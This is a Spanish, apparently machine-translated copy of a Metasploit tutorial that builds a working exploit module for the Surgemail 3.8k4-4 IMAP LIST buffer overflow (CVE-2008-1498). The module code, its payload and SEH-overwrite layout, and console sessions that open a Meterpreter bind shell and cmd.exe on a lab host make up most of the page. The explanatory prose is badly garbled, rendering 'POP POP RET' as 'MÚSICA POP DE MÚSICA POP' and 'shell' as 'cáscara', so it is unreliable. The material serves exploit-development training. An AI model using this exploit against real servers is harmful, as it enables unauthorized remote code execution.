Obteniendo una Shell

De www.metasploit-es.com.ar

Con que hemos aprendido, escribimos la proeza y la salvamos a windows/imap/surgemail_list.rb. Usted puede descargar el exploit aquí: http://www.offensive-security.com/msf/surgemail_list.rb.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

   include Msf::Exploit::Remote::Imap

   def initialize(info = {})
       super(update_info(info,   
           'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
           'Description'    => %q{
               This module exploits a stack overflow in the Surgemail IMAP Server
               version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
               account credentials are required.
           },
           'Author'         => [ 'ryujin' ],
           'License'        => MSF_LICENSE,
           'Version'        => '$Revision: 1 $',
           'References'     =>
               [
                   [ 'BID', '28260' ],
                   [ 'CVE', '2008-1498' ],
                   [ 'URL', 'http://www.milw0rm.com/exploits/5259' ],
               ],
           'Privileged'     => false,
           'DefaultOptions' =>
               {
                   'EXITFUNC' => 'thread',
               },
           'Payload'        =>
               {
                   'Space'       => 10351,
                   'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
                   'DisableNops' => true,
                   'BadChars'    => "\x00"
               },
           'Platform'       => 'win',
           'Targets'        =>
               [
                   [ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e
               ],
           'DisclosureDate' => 'March 13 2008',
           'DefaultTarget' => 0))
   end

   def check
       connect
       disconnect
       if (banner and banner =~ /(Version 3.8k4-4)/)
           return Exploit::CheckCode::Vulnerable
       end
       return Exploit::CheckCode::Safe
   end

   def exploit
       connected = connect_login
       nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_nops()
       sjump = "\xEB\xF9\x90\x90"     # Jmp Back
       njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby  ;)         
       evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")
       print_status("Sending payload")
       sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
       sock.put(sploit)
       handler
       disconnect
   end

end


Las cosas más importantes de notar en el código anterior son lo siguiente:

  • Definimos el espacio máximo para el shellcode (Espacio => 10351) e hicimos que el rasgo de DisableNops incapacitara el acolchado de shellcode automático, rellenaremos la carga útil en nuestro propio.
  • Ponemos el codificador de falta al AlphanumMixed debido a la naturaleza del protocolo IMAP.
  • Definimos nuestra MÚSICA POP DE MÚSICA POP de 3 bytes dirección de vuelta de RET que será referida entonces por la variable target.ret.
  • Definimos una función de control que puede comprobar el flag de servidor IMAP a fin de identificar a un servidor vulnerable y un exploit que obviamente es el que que hace la mayor parte del trabajo.


Vaya a ver si esto trabaja:


msf > search surgemail
[*] Searching loaded modules for pattern 'surgemail'...

Exploits
========

Name                         Description                                  
----                         -----------                                  
windows/imap/surgemail_list  Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow 


msf > use windows/imap/surgemail_list
msf exploit(surgemail_list) > show options

Module options:

Name      Current Setting  Required  Description                             
----      ---------------  --------  -----------                             
IMAPPASS  test             no        The password for the specified username 
IMAPUSER  test             no        The username to authenticate as         
RHOST     172.16.30.7      yes       The target address                      
RPORT     143              yes       The target port                         

Payload options (windows/shell/bind_tcp):

Name      Current Setting  Required  Description                          
----      ---------------  --------  -----------                          
EXITFUNC  thread           yes       Exit technique: seh, thread, process 
LPORT     4444             yes       The local port                       
RHOST     172.16.30.7      no        The target address                   

Exploit target:

Id  Name               
--  ----               
0   Windows Universal  

Algunas opciones son configuradas ya de nuestra sesión anterior (ver IMAPPASS, IMAPUSER y RHOST por ejemplo). Ahora comprobamos la versión de servidor:

msf exploit(surgemail_list) > check

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[+] The target is vulnerable.

¡Sí! Ahora vaya a dirigir la proeza que ata a la depuración al surgemail.exe proceso para ver si la compensación para superponer SEH es correcta:

root@bt:~$ ./msfcli exploit/windows/imap/surgemail_list PAYLOAD=windows/shell/bind_tcp RHOST=172.16.30.7 IMAPPWD=test IMAPUSER=test E
[*] Started bind handler
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Sending payload 
EXPLOIT04B.png

La compensación es correcta, podemos poner ahora un límite de facturación en nuestra dirección de vuelta:

EXPLOIT04A.png

Ahora podemos desviar el flujo de ejecución en nuestro parachoques ejecutando el POP & POP instrucciones de RET:

EXPLOIT06.png

y finalmente ejecute los dos saltos en la pila que nos conseguirá dentro de nuestro deslizador de NOP´s:

EXPLOIT07.png

Hasta ahora, bien, tiempo para conseguir nuestra cáscara de Meterpreter, vaya a dirigir de nuevo la proeza sin la depuración:

msf exploit(surgemail_list) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(surgemail_list) > exploit

[*] Connecting to IMAP server 172.16.30.7:143...
[*] Started bind handler
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Sending payload
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.16.30.34:63937 -> 172.16.30.7:4444)

meterpreter > execute -f cmd.exe -c -i
Process 672 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

c:\surgemail>

¡Éxito! Tenemos fuzzed un servidor vulnerable y construimos una proeza de encargo usando los rasgos asombrosos ofrecidos por Metasploit.


Original by www.offensive-security.com
Herramientas personales